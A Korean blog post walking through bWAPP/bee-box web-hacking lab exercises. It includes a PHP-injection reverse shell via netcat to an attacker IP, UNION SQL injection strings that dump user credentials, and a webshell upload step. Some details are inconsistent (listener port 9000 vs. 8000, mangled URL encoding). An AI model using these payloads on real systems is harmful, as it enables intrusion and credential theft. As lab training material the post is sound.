처음 만나는 클라우드 보안

비박스란? beWAPP을 활용한 모의해킹 실습 본문

정보보안

비박스란? beWAPP을 활용한 모의해킹 실습

영민하게 2022. 5. 12. 00:11
반응형

이번 포스팅에선 비박스(bWAPP)를 통해 다양한 웹 해킹 취약점을 실습해 본다.

 

비박스(BeeBox)란?

: OWSAP TOP10 2013을 기반으로 구성된 100가지 이상의 웹 해킹 연습문제를 풀어볼 수 있는 오픈형 리눅스 VM이다. 

 

[비박스 다운로드] https://sourceforge.net/projects/bwapp/files/bee-box/

 

bWAPP - Browse /bee-box at SourceForge.net

 

sourceforge.net

 

초기 세팅 (VMware상에서 구동)

  • 초기 IP/PW =bee/bug
  • 초기 벨기에 자판을 한국어 자판으로 변경
  • Edit Virtual Machine Settings > Network Adapter > Bridged를 NAT로 변경
  • beebox IP주소 확인: 192.168.5.133

HTML Injection - Reflected (GET)

HTML TAG를 이용한 인젝션

 

 1) Low

 풀이: <h1> Hacked! </h1>

HTML 제목테크 인젝션

 2) Medium 

: Burp Suite를 이용해 서버로 전송되는 패킷을 분석, 특수문자들이 모두 URL인코딩 되어 전달됨을 알 수 있다.

특수문자가 모두 URL(16진수)인코딩 되어 서버에선 단순한 문자로 인식하게 된다

풀이: %3Ch 1%3 EHacked%21% 3C%2 Fh1%3E  // <h1> Hacked! </h1>의  URL인코딩 형식으로 그대로 입력한다.

 


PHP Code Injection

php의 system() 함수를 활용한 트로이 목마

 

 1) Low

 : php의 system() 함수를 활용한다. 문법: system([command], [result]);

  

  1단계) Kali에서 9000번 포트 열고 대기 (Trojan, Reverse Connection)

  2단계) 주소창 php명령어 삽입

   > http://192.168.5.133/bWAPP/phpi.php?message=system('nc 192.168.5.129 8000 -e /bin/sh')

 

(좌) php인젝션으로 공격자 서버로 접속. (우) 공격자 서버에서 확인되는 beebox


SQL Injection (GET/Search)

SQL 인젝션을 활용한 정보획득

 

1) Low

예상 SQL문: SELECT??? FROM?? WHERE movie='  ';  >> 입력 ' or 1=1 #     

참고) SQL문은 띄어쓰기有

 

사용자 계정 찾아내기

 1단계) union으로 select요청문 개수 파악

' union select 1 #

' union select 1,2 #

' union select 1,2,3,4,5,6,7 # => 7개 (일치)

 

0' union select 1,2,3,4,5,6,7 # => 앞에 0을 넣어서 영화 없이 select문만 출력

Select 요청문의 갯수 확인 => 7개

2단계) DB이름 찾기

다양한 방법들 => database(), @@version, version(), user() 등등

 

0' union select 1, database(),3, version(),5,6,7 # 

 

2,3,5,4자리에 요청 된 정보들이 나타난다

3단계) Table이름 찾기

테이블명 저장공간=> information_schema > tables > table_name

table_name을 information_schema에서 bWAPP이라는 DB명을 가진 조건으로 찾는다.

 

0' union select 1, table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'#

사용자 계정정보인 users 테이블 확인

4단계) Column이름 찾기

칼럼명 저장공간=> information_schema > colums > column_name

column_name을 information_schema.colums에서 Table명인 조건, DB가 bWAPP인 조건에서 찾는다.

 

0' union select 1, column_name,3,4,5,6,7 from information_schema.columns where table_name='users' and table_schema='bWAPP'#

user테이블의 column명들을 확인할 수 있다

 

5단계) 사용자 계정 및 패스워드 찾기

 

0' union select 1, id, login, password,5,6,7 from users #

패스워드의 해쉬값은 hashes.com에서 디코딩


SQL Injection (GET/Select)

주소창을 통한 SQL 인젝션 삽입

 

http://192.168.5.133/bWAPP/sqli_2.php?movie=99 union select 1, id, login, password,5,6,7 from users#

user테이블 중 가장 상단의 계정만 나온다


Insecure DOR (Order Tickets)

DOR (Direct Object Reference) 취약한 직접 객체 참조 이용

 

영화 티켓 하나에 15 EURO, 4명 인원의 영화 티켓 총액을 1 EURO로 만들기

 => F12(개발자 도구) DOM탐색기로 계산식 확인, 영화티켓 가격인 Value를 0.25로 변경

개발자도구를 통해 영화 티켓 한 장의 가격을 변경할 수 있다


Base64 Encoding (Secret)

베이스 64 기반 인코딩 암호 복호화

 

 1) Low

QW55 IGJ1Z3M%2F  =(% 구분자)=> UTF-8 디코딩 => BASE64 디코딩 > Any bugs?

 

 

2) Medium

83785 efbbef1 b4 cdf3260 c5 e6505 f7 d2261 f738 d  : 40bit X 4개 = 160bit => SHA1 해쉬 함수

SHA1복호화 => Any bugs?

 

 참고) 해쉬 함수 고정크기 : MD5(128bit), SHA-1(160bit), SHA-256(256bit)


Insecure WebDAV Configuration

Cadever 이용한 웹쉘(WebShell) 업로드

cadaver 함수로 공격대상 wevdav경로에 백도어 프로그램을 업로드한다, 공격대상에 대한 원격접속이 가능하다.

[WebDav취약점 관련 포스팅] https://cloudinfosec.tistory.com/34

 

WebDav취약점을 이용한 백도어 해킹실습

WebDav취약점을 이용한 백도어 업로드 WebDav란? (Web-based Distributed Authoring and Versioning) : 웹을 기반으로 웹서버에 파일을 조회, 수정, 이동, 삭제할 수 있는 확장된 HTTP 프로토콜을 말한다. 설정이..

cloudinfosec.tistory.com

 

 

본 게시물은 학습기록을 위한 포스팅입니다. 악의적인 목적으로 이용 시 발생할 수 있는 모든 법적 책임은 자신에게 있습니다.

반응형
Comments